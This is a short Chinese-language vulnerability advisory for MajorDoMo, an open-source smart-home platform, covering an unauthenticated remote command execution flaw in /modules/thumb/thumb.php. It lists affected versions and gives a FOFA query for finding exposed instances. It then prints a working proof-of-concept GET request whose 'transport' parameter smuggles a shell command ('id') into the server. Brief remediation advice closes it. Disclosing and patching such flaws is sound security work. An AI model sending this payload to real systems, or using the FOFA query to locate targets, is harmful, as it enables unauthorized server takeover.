0x01 产品简介
MajorDoMo是MajorDoMo社区的一个开源DIY智能家居自动化平台。
0x02 漏洞概述
MajorDoMo /modules/thumb/thumb.php接口处存在远程命令执行漏洞,未经身份验证的攻击者可利用此漏洞执行任意指令,获取服务器权限。
0x03 影响范围
MajorDoMo < 0662e5e
0x04 复现环境
FOFA:app="MajordomoSL"
0x05 漏洞复现
PoC
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
0x06 修复建议
关闭互联网暴露面或接口设置访问权限
升级至安全版本